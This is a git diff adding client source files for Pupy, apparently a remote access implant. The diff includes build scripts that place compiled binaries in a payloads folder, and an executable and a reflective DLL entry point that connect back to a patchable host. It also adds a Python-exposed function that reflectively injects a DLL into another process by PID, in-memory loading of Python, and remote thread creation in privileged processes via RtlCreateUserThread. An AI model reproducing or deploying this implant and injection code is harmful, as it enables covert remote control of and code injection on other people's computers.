list_push(pList, data); +} + +/*! + * @brief Internal function to remove a node from a list. + * @param pList Pointer to the \c LIST containing \c node. + * @param pNode Pointer to the \c NOTE to remove. + * @returns Indication of success or failure. + * @remark Assumes caller has aquired the appropriate lock first. + */ +BOOL list_remove_node(PLIST pList, PNODE pNode) +{ + if (pList == NULL || pNode == NULL) + { + return FALSE; + } + + if (pList->count - 1 == 0) + { + pList->start = NULL; + pList->end = NULL; + } + else + { + if (pList->start == pNode) + { + pList->start = pList->start->next; + pList->start->prev = NULL; + } + else if (pList->end == pNode) + { + pList->end = pList->end->prev; + pList->end->next = NULL; + } + else + { + pNode->next->prev = pNode->prev; + pNode->prev->next = pNode->next; + } + } + + pList->count -= 1; + + pNode->next = NULL; + + pNode->prev = NULL; + + free(pNode); + + return TRUE; +} + +/*! + * @brief Remove a given data item from the list. + * @param pList Pointer to the \c LIST to remove the item from. + * @param data The data that is to be removed from the list. + * @remark Assumes data items are unqique as only the first occurrence is removed. + * @returns Indication of success or failure. + * @sa list_remove_node + */ +BOOL list_remove(PLIST pList, LPVOID data) +{ + BOOL result = FALSE; + PNODE current_node = NULL; + + if (pList == NULL || data == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + current_node = pList->start; + + while (current_node != NULL) + { + if (current_node->data == data) + { + break; + } + + current_node = current_node->next; + } + + result = list_remove_node(pList, current_node); + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Remove a list item at the specified index. + * @param pList Pointer to the \c LIST to remove the item from. + * @param index Index of the item to remove. + * @returns Indication of success or failure. + */ +BOOL list_delete(PLIST pList, DWORD index) +{ + BOOL result = FALSE; + LPVOID data = NULL; + PNODE current_node = NULL; + + if (pList == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + if (pList->count > index) + { + current_node = pList->start; + + while (current_node != NULL) + { + if (index == 0) + { + result = list_remove_node(pList, current_node); + break; + } + + current_node = current_node->next; + + index--; + } + } + + lock_release(pList->lock); + + return result; +} + +/*! + * @brief Push a data item onto the end of the list. + * @param pList Pointer to the \c LIST to append the data to. + * @param data Pointer to the data to append. + * @returns Indication of success or failure. + */ +BOOL list_push(PLIST pList, LPVOID data) +{ + PNODE pNode = NULL; + + if (pList == NULL) + return FALSE; + + pNode = (PNODE)malloc(sizeof(NODE)); + if (pNode == NULL) + { + return FALSE; + } + + pNode->data = data; + pNode->next = NULL; + pNode->prev = NULL; + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + pList->end->next = pNode; + + pNode->prev = pList->end; + + pList->end = pNode; + } + else + { + pList->start = pNode; + pList->end = pNode; + } + + pList->count += 1; + + lock_release(pList->lock); + + return TRUE; +} + +/*! + * @brief Pop a data value off the end of the list. + * @param pList Pointer to the \c LIST to pop the value from. + * @returns The popped value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_pop(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->end != NULL) + { + data = pList->end->data; + + list_remove_node(pList, pList->end); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Pop a data value off the start of the list. + * @param pList Pointer to the \c LIST to shift the value from. + * @returns The shifted value. + * @retval NULL Indicates no data in the list. + */ +LPVOID list_shift(PLIST pList) +{ + LPVOID data = NULL; + + if (pList == NULL) + { + return NULL; + } + + lock_acquire(pList->lock); + + if (pList->start != NULL) + { + data = pList->start->data; + + list_remove_node(pList, pList->start); + } + + lock_release(pList->lock); + + return data; +} + +/*! + * @brief Iterate over the list and call a function callback on each element. + * @param pList Pointer to the \c LIST to enumerate. + * @param pCallback Callback function to invoke for each element in the list. + * @param pState Pointer to the state to pass with each function call. + */ +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState) +{ + PNODE pCurrent; + BOOL bResult; + if (pList == NULL || pCallback == NULL) + { + return FALSE; + } + + lock_acquire(pList->lock); + + + pCurrent=pList->start; + bResult = FALSE; + + while (pCurrent != NULL) + { + bResult = pCallback(pState, pCurrent->data) || bResult; + pCurrent = pCurrent->next; + } + + lock_release(pList->lock); + return bResult; +} diff --git a/client/sources/list.h b/client/sources/list.h new file mode 100644 index 00000000..45263ebc --- /dev/null +++ b/client/sources/list.h @@ -0,0 +1,39 @@ +/*! + * @file list.h + * @brief Declarations for functions that operate on lists. + */ +#ifndef _METERPRETER_LIB_LIST_H +#define _METERPRETER_LIB_LIST_H + +/*! @brief Container struct for data the lives in a list. */ +typedef struct _NODE +{ + struct _NODE * next; ///< Pointer to the next node in the list. + struct _NODE * prev; ///< Pointer to the previous node in the list. + LPVOID data; ///< Reference to the data in the list node. +} NODE, *PNODE; + +/*! @brief Container structure for a list instance. */ +typedef struct _LIST +{ + NODE * start; ///< Pointer to the first node in the list. + NODE * end; ///< Pointer to the last node in the list. + DWORD count; ///< Count of elements in the list. + LOCK * lock; ///< Reference to the list's synchronisation lock. +} LIST, *PLIST; + +typedef BOOL (*PLISTENUMCALLBACK)(LPVOID pState, LPVOID pData); + +LIST * list_create(VOID); +VOID list_destroy(PLIST pList); +DWORD list_count(PLIST pList); +LPVOID list_get(PLIST pList, DWORD index); +BOOL list_add(PLIST pList, LPVOID data); +BOOL list_remove(PLIST pList, LPVOID data); +BOOL list_delete(PLIST pList, DWORD index); +BOOL list_push(PLIST pList, LPVOID data); +LPVOID list_pop(PLIST pList); +LPVOID list_shift(PLIST pList); +BOOL list_enumerate(PLIST pList, PLISTENUMCALLBACK pCallback, LPVOID pState); + +#endif diff --git a/client/sources/main_exe.c b/client/sources/main_exe.c new file mode 100644 index 00000000..29ec0923 --- /dev/null +++ b/client/sources/main_exe.c @@ -0,0 +1,22 @@ +#include +#include +#include +#include +#include "pupy_load.h" + +#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup") + + +/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ +char connect_back_host[100]=":"; //big array to have space for big domain names. +int main(int argc, char *argv[]){ + if (argc==2){ + memcpy(connect_back_host, argv[1], strlen(argv[1])+1); + } + if(strcmp(connect_back_host,":")==0){ + printf("usage: %s :",argv[0]); + return 1; + } + return mainThread(NULL); +} + diff --git a/client/sources/main_reflective.c b/client/sources/main_reflective.c new file mode 100644 index 00000000..1bd90633 --- /dev/null +++ b/client/sources/main_reflective.c @@ -0,0 +1,46 @@ +/* + * Author : Nicolas VERDIER + * + */ +//#pragma comment(lib, "user32") + +#include +#include "pupy_load.h" +#include "ReflectiveDllInjection.h" + +/* value ":" will be searched/replaced by the framework to change pupy connect back IP without recompiling the DLL */ +char connect_back_host[100]=":"; //big array to have space for big domain names. + +extern HINSTANCE hAppInstance; +//===============================================================================================// +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + HANDLE hThread; + DWORD threadId; + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + //MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION); + hAppInstance = hinstDLL; + hThread = CreateThread(NULL, + 0, // dwStackSize + mainThread, // lpStartAddress + NULL, // lpParameter + 0, // dwCreationFlags (0==run right after creation) + &threadId + ); + + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + diff --git a/client/sources/make.bat b/client/sources/make.bat new file mode 100644 index 00000000..b1569e5f --- /dev/null +++ b/client/sources/make.bat @@ -0,0 +1,38 @@ +del *.obj +del *.exp +del pupyx86.exe +del pupyx86.dll + +::First: generate resources : +copy resources\python27_x86.dll resources\python27.dll +"C:\\Python27\\python.exe" gen_library_compressed_string.py +copy resources\library_compressed_string_x86.txt resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll +"C:\\Python27\\python.exe" gen_python_bootloader.py +"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +::compile them to obj files : +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_library_compressed_string_txt.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_bootloader_pyc.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_python27_dll.c + +::then compile + +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c Python-dynload.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MemoryModule.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c _memimporter.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy_load.c /DWIN_X86 /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c actctx.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c LoadLibraryR.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c list.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c thread.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c remote_thread.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c base_inject.c /IC:\Python27\include +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.exe +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.dll /LD +copy pupyx86.dll ..\..\pupy\payloads\ +copy pupyx86.exe ..\..\pupy\payloads\ + diff --git a/client/sources/makex64.bat b/client/sources/makex64.bat new file mode 100644 index 00000000..bbce2e31 --- /dev/null +++ b/client/sources/makex64.bat @@ -0,0 +1,39 @@ +del *.obj +del *.exp +del pupyx64.exe +del pupyx64.dll + +::First: generate resources : +"C:\\Python27\\python.exe" gen_library_compressed_string.py +copy resources\library_compressed_string_x64.txt resources\library_compressed_string.txt +"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt +copy resources\python27_x64.dll resources\python27.dll +"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll +"C:\\Python27\\python.exe" gen_python_bootloader.py +"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc +::compile them to obj files : +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_library_compressed_string_txt.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_bootloader_pyc.c +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_python27_dll.c + +::then compile + +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c Python-dynload.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MemoryModule.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c _memimporter.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c actctx.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c LoadLibraryR.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c list.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c thread.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c remote_thread.c /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c base_inject.c /IC:\Python27\include /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.exe /D_WIN64 +"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.dll /LD /D_WIN64 + +copy pupyx64.dll ..\..\pupy\payloads\ +copy pupyx64.exe ..\..\pupy\payloads\ + diff --git a/client/sources/mktab.py b/client/sources/mktab.py new file mode 100644 index 00000000..7fc41f03 --- /dev/null +++ b/client/sources/mktab.py @@ -0,0 +1,108 @@ +# A script to generate helper files for dynamic linking to the Python dll +# +decls = ''' +void, Py_Initialize, (void) +int, PyRun_SimpleString, (char *) +void, Py_Finalize, (void) +char *, Py_GetPath, (void) +void, Py_SetPythonHome, (char *) +void, Py_SetProgramName, (char *) +PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t) +PyObject *, PyObject_CallFunction, (PyObject *, char *, ...) +int, PyString_AsStringAndSize, (PyObject *, char **, Py_ssize_t *) +char *, PyString_AsString, (PyObject *) +int, PyArg_ParseTuple, (PyObject *, char *, ...) +PyObject *, PyErr_Format, (PyObject *, const char *, ...) +PyObject *, PyImport_ImportModule, (char *) +PyObject *, PyInt_FromLong, (long) +long, PyInt_AsLong, (PyObject *) +PyObject *, PyLong_FromVoidPtr, (void *) +PyObject *, Py_InitModule4, (char *, PyMethodDef *, char *, PyObject *, int) +PyObject *, PyTuple_New, (Py_ssize_t) +int, PyTuple_SetItem, (PyObject*, Py_ssize_t, PyObject *) +int, Py_IsInitialized, (void) +int, PyObject_SetAttrString, (PyObject *, char *, PyObject *) +PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *) +PyObject *, PyObject_GetAttrString, (PyObject *, char *) +PyObject *, Py_BuildValue, (char *, ...) +PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *) +void, PySys_WriteStderr, (const char *, ...) +PyObject *, PyErr_Occurred, (void) +void, PyErr_Clear, (void) +int, PyObject_IsInstance, (PyObject *, PyObject *) + +PyObject, PyInt_Type +PyObject, _Py_NoneStruct +PyObject *, PyExc_ImportError +PyObject *, PyExc_Exception +char *, _Py_PackageContext + +PyGILState_STATE, PyGILState_Ensure, (void) +void, PyGILState_Release, (PyGILState_STATE) + +void, PySys_SetObject, (char *, PyObject *) +PyObject *, PySys_GetObject, (char *) +PyObject *, PyString_FromString, (char *) +int, Py_FdIsInteractive, (FILE *, char *) +int, PyRun_InteractiveLoop, (FILE *, char *) +void, PySys_SetArgv, (int, char **) +PyObject *, PyImport_AddModule, (char *) +PyObject *, PyModule_GetDict, (PyObject *) +Py_ssize_t, PySequence_Length, (PyObject *) +PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t) +//int, PyCode_Check, (PyObject *) +PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *) +void, PyErr_Print, (void) +PyObject *, PyBool_FromLong, (long) +int, Py_VerboseFlag +int, Py_NoSiteFlag +int, Py_OptimizeFlag +int, Py_IgnoreEnvironmentFlag +PyObject *, PyObject_Str, (PyObject *) +PyObject *, PyList_New, (Py_ssize_t) +int, PyList_SetItem, (PyObject *, Py_ssize_t, PyObject *) +int, PyList_Append, (PyObject *, PyObject *) +PyObject *, PyThreadState_GetDict, (void) +int, PyObject_IsTrue, (PyObject *) +void, PyErr_SetString, (PyObject *, const char *) +void, PyEval_InitThreads, (void) +'''.strip().splitlines() + + +import string + +hfile = open("import-tab.h", "w") +cfile = open("import-tab.c", "w") + +index = 0 +for decl in decls: + if not decl or decl.startswith("//"): + continue + items = decl.split(',', 2) + if len(items) == 3: + # exported function with argument list + restype, name, argtypes = map(string.strip, items) + print >> hfile, '#define %(name)s ((%(restype)s(*)%(argtypes)s)imports[%(index)d].proc)' % locals() + elif len(items) == 2: + # exported data + typ, name = map(string.strip, items) + print >> hfile, '#define %(name)s (*(%(typ)s(*))imports[%(index)s].proc)' % locals() + else: + raise ValueError, "could not parse %r" % decl + if name == "Py_InitModule4": + print >> cfile, '#ifdef _DEBUG' + print >> cfile, '\t{ "Py_InitModule4TraceRefs", NULL },' % locals() + print >> cfile, '#else' + print >> cfile, '# if defined (_WIN64)' + print >> cfile, '\t{ "Py_InitModule4_64", NULL },' % locals() + print >> cfile, '# else' + print >> cfile, '\t{ "Py_InitModule4", NULL },' % locals() + print >> cfile, '# endif' + print >> cfile, '#endif' + else: + print >> cfile, '\t{ "%(name)s", NULL },' % locals() + + index += 1 + +hfile.close() +cfile.close() diff --git a/client/sources/pupy.c b/client/sources/pupy.c new file mode 100644 index 00000000..dcbc09be --- /dev/null +++ b/client/sources/pupy.c @@ -0,0 +1,76 @@ +/* + For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h". + For the standalone .pyd we need +*/ + +#include "Python-dynload.h" +#include +#include +#include "base_inject.h" +static char module_doc[] = "Builtins utilities for pupy"; + +extern const char resources_library_compressed_string_txt_start[]; +extern const int resources_library_compressed_string_txt_size; +#ifndef STANDALONE +extern char connect_back_host[100]; +#else +char connect_back_host[100] = "0.0.0.0:443"; +#endif +extern const DWORD dwPupyArch; +static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args) +{ + return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size); +} + +static PyObject * +Py_get_connect_back_host(PyObject *self, PyObject *args) +{ + return Py_BuildValue("s", connect_back_host); +} +static PyObject *Py_get_arch(PyObject *self, PyObject *args) +{ + if(dwPupyArch==PROCESS_ARCH_X86){ + return Py_BuildValue("s", "x86"); + } + else if(dwPupyArch==PROCESS_ARCH_X64){ + return Py_BuildValue("s", "x64"); + } + return Py_BuildValue("s", "unknown"); +} + +static PyObject * +Py_reflective_inject_dll(PyObject *self, PyObject *args) +{ + DWORD dwPid; + const char *lpDllBuffer; + DWORD dwDllLenght; + const char *cpCommandLine; + PyObject* py_is64bit; + int is64bits; + if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit)) + return NULL; + is64bits = PyObject_IsTrue(py_is64bit); + if(is64bits){ + is64bits=PROCESS_ARCH_X64; + }else{ + is64bits=PROCESS_ARCH_X86; + } + if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS) + return NULL; + return PyBool_FromLong(1); +} + +static PyMethodDef methods[] = { + { "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" }, + { "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" }, + { "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS }, + { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" }, + { NULL, NULL }, /* Sentinel */ +}; + +DL_EXPORT(void) +initpupy(void) +{ + Py_InitModule3("pupy", methods, module_doc); +} + diff --git a/client/sources/pupy_load.c b/client/sources/pupy_load.c new file mode 100644 index 00000000..3ba3f51e --- /dev/null +++ b/client/sources/pupy_load.c @@ -0,0 +1,189 @@ +#define QUIET // uncomment to avoid debug prints +#include +#include +#include +#include +#include "pupy_load.h" +#include "Python-dynload.h" +#include "actctx.h" +#include "resource_python_manifest.c" +#include "base_inject.h" + + +HANDLE MyActCtx; +static ULONG_PTR actToken; + +extern const char resources_python27_dll_start[]; +extern const int resources_python27_dll_size; +extern const char resources_bootloader_pyc_start[]; +extern const int resources_bootloader_pyc_size; +extern const char resource_python_manifest[]; + +extern DL_EXPORT(void) init_memimporter(void); +extern DL_EXPORT(void) initpupy(void); + +CRITICAL_SECTION csInit; // protecting our init code + +// Simple trick to get the current pupy arch +#ifdef _WIN64 + const DWORD dwPupyArch = PROCESS_ARCH_X64; +#else + const DWORD dwPupyArch = PROCESS_ARCH_X86; +#endif + + +DWORD WINAPI mainThread(LPVOID lpArg) +{ + + int rc = 0; + PyObject *m=NULL, *d=NULL, *seq=NULL; + PyObject *mod; + char * ppath; + FILE * f; + char tmp_python_dll_path[MAX_PATH]; + char tmp_manifest_path[MAX_PATH]; + char tmp_path[MAX_PATH]; + ACTCTX ctx; + BOOL activated; + HANDLE k32; + HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx); + BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie); + void (WINAPI *AddRefActCtx)(HANDLE hActCtx); + BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie); + PyGILState_STATE restore_state; + + //InitializeCriticalSection(&csInit); + + k32 = LoadLibrary("kernel32"); + CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA"); + ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx"); + AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx"); + DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx"); + + + if (!CreateActCtx || !ActivateActCtx) + { + return 0; + } + + GetTempPath(MAX_PATH, tmp_path); + ZeroMemory(&ctx, sizeof(ctx)); + ctx.cbSize = sizeof(ACTCTX); + GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path); + + + f=fopen(tmp_manifest_path,"w"); + fprintf(f,"%s",resource_python_manifest); + fclose(f); + #ifndef QUIET + printf("manifest written to %s\n",tmp_manifest_path); + #endif + ctx.lpSource = tmp_manifest_path; + + MyActCtx=CreateActCtx(&ctx); + if (MyActCtx != NULL) + { + AddRefActCtx(MyActCtx); + } + #ifndef QUIET + DeleteFile(tmp_manifest_path); + #endif + + + if(!Py_IsInitialized) + { + int res=0; + activated = ActivateActCtx(MyActCtx, &actToken); + if(!_load_python("python27.dll", resources_python27_dll_start)){ + + #ifndef QUIET + printf("loading python27.dll from memory failed\n"); + #endif + + //if loading from memory fail, we write dll on disk + sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path); + + f=fopen(tmp_python_dll_path,"wb"); + res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f); + fclose(f); + + if(!_load_python(tmp_python_dll_path, NULL)){ + if(!_load_python("python27.dll", NULL)){ // try loading from system PATH + #ifndef QUIET + printf("could not load python dll\n"); + #endif + } + } + } + #ifndef QUIET + printf("python interpreter loaded\n"); + #endif + + ppath = Py_GetPath(); + strcpy(ppath, "\x00"); + + Py_IgnoreEnvironmentFlag = 1; + Py_NoSiteFlag = 1; /* remove site.py auto import */ + Py_Initialize(); + + #ifndef QUIET + printf("Py_Initialize()\n"); + #endif + } + + + restore_state=PyGILState_Ensure(); + PySys_SetObject("frozen", PyBool_FromLong(1)); + + init_memimporter(); + #ifndef QUIET + printf("init_memimporter()\n"); + #endif + initpupy(); + #ifndef QUIET + printf("initpupy()\n"); + #endif + + //mod = PyImport_ImportModule("sys"); + + //MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION); + + /* We execute then in the context of '__main__' */ + PyEval_InitThreads(); + #ifndef QUIET + printf("starting evaluating python code ...\n"); + #endif + //PyRun_SimpleString("print 'ok from python'"); + m = PyImport_AddModule("__main__"); + if (m) d = PyModule_GetDict(m); + if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size); + if (seq) { + Py_ssize_t i, max = PySequence_Length(seq); + for (i=0;i +#include "remote_thread.h" +/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */ +typedef struct _MIMI_CLIENT_ID { + PVOID UniqueProcess; + PVOID UniqueThread; +} CLIENTID; + +/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */ +typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*); +/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */ +static PRtlCreateUserThread pRtlCreateUserThread = NULL; +/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */ +static BOOL pRtlCreateUserThreadAttempted = FALSE; + +/*! + * @brief Helper function for creating a remote thread in a privileged process. + * @param hProcess Handle to the target process. + * @param sStackSize Size of the stack to use (if unsure, specify 0). + * @param pvStartAddress Pointer to the function entry point that has been loaded into the target. + * @param pvStartParam Pointer to the parameter to pass to the thread function. + * @param dwCreateFlags Creation flags to use when creating the new thread. + * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional). + * @return Handle to the new thread. + * @retval NULL Indicates an error, which can be retrieved with \c GetLastError(). + * @remark This function has been put in place to wrap up the handling of creating remote threads + * in privileged processes across all operating systems. In Windows XP and earlier, the + * \c CreateRemoteThread() function was sufficient to handle this case, however this changed + * in Vista and has been that way since. For Vista onwards, the use of the hidden API function + * \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread() + * first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the + * existing behaviour is kept for when running on XP and earlier, or when the user is already + * running within a privileged process. + */ +HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId) +{ + NTSTATUS ntResult; + BOOL bCreateSuspended; + DWORD dwThreadId; + HANDLE hThread; + + if (pdwThreadId == NULL) + { + pdwThreadId = &dwThreadId; + } + + hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId); + + // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs + // on Vista and later. + if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) + { + //dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options"); + hThread = NULL; + + // Only attempt to load the function pointer if we haven't attempted it already. + if (!pRtlCreateUserThreadAttempted) + { + if (pRtlCreateUserThread == NULL) 